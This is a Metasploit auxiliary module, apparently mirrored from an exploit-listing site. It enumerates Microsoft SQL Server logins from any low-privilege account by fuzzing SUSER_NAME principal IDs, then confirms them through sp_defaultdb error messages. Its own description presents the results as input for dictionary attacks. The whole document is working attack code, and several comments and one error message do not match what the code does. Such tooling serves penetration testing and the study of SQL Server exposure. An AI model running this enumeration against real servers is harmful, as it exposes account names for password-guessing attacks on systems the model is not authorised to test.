## https://sploitus.com/exploit?id=PACKETSTORM:180792
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration',
'Description' => %q{
This module can be used to obtain a list of all logins from a SQL Server with any login.
Selecting all of the logins from the master..syslogins table is restricted to sysadmins.
However, logins with the PUBLIC role (everyone) can quickly enumerate all SQL Server
logins using the SUSER_SNAME function by fuzzing the principal_id parameter. This is
pretty simple, because the principal IDs assigned to logins are incremental. Once logins
have been enumerated they can be verified via sp_defaultdb error analysis. This is
important, because not all of the principal IDs resolve to SQL logins (some resolve to
roles instead). Once logins have been enumerated, they can be used in dictionary attacks.
},
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
'License' => MSF_LICENSE,
'References' => [['URL','https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql']]
))
register_options(
[
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 300]),
])
end
def run
# Check connection and issue initial query
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
if mssql_login_datastore
print_good('Connected.')
else
print_error('Login was unsuccessful. Check your credentials.')
disconnect
return
end
# Query for sysadmin status
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
user_status = check_sysadmin
# Check if user has sysadmin role
if user_status == 1
print_good("#{datastore['USERNAME']} is a sysadmin.")
else
print_status("#{datastore['USERNAME']} is NOT a sysadmin.")
end
# Get a list if sql server logins using SUSER_NAME()
print_status("Setup to fuzz #{datastore['FuzzNum']} SQL Server logins.")
print_status('Enumerating logins...')
sql_logins_list = get_sql_logins
if sql_logins_list.nil? || sql_logins_list.empty?
print_error('Sorry, somethings went wrong - SQL Server logins were found.')
disconnect
return
else
# Print number of initial logins found
print_good("#{sql_logins_list.length} initial SQL Server logins were found.")
sql_logins_list.sort.each do |sql_login|
if datastore['VERBOSE']
print_status(" - #{sql_login}")
end
end
end
# Verify the enumerated SQL Logins using sp_defaultdb error ananlysis
print_status('Verifying the SQL Server logins...')
sql_logins_list_verified = verify_logins(sql_logins_list)
if sql_logins_list_verified.nil?
print_error('Sorry, no SQL Server logins could be verified.')
disconnect
return
else
# Display list verified SQL Server logins
print_good("#{sql_logins_list_verified.length} SQL Server logins were verified:")
sql_logins_list_verified.sort.each do |sql_login|
print_status(" - #{sql_login}")
end
end
disconnect
end
# Checks if user is a sysadmin
def check_sysadmin
# Setup query to check for sysadmin
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
# Run query
result = mssql_query(sql)
# Parse query results
parse_results = result[:rows]
status = parse_results[0][0]
# Return status
return status
end
# Gets trusted databases owned by sysadmins
def get_sql_logins
# Create array to store the sql logins
sql_logins = []
# Fuzz the principal_id parameter passed to the SUSER_NAME function
(1..datastore['FuzzNum']).each do |principal_id|
# Setup query
sql = "SELECT SUSER_NAME(#{principal_id}) as login"
# Execute query
result = mssql_query(sql)
# Parse results
parse_results = result[:rows]
sql_login = parse_results[0][0]
# Add to sql server login list
sql_logins.push(sql_login) unless sql_logins.include?(sql_login)
end
# Return list of logins
sql_logins
end
# Checks if user has the db_owner role
def verify_logins(sql_logins_list)
# Create array for later use
verified_sql_logins = []
fake_db_name = Rex::Text.rand_text_alpha_upper(24)
# Check if the user has the db_owner role is any databases
sql_logins_list.each do |sql_login|
# Setup query
sql = "EXEC sp_defaultdb '#{sql_login}', '#{fake_db_name}'"
# Execute query
result = mssql_query(sql)
# Parse results
parse_results = result[:errors]
result = parse_results[0]
# Check if sid resolved to a sql login
if result.include?(fake_db_name)
verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)
end
# Check if sid resolved to a sql login
if result.include?('alter the login')
# Add sql server login to verified list
verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)
end
end
verified_sql_logins
end
end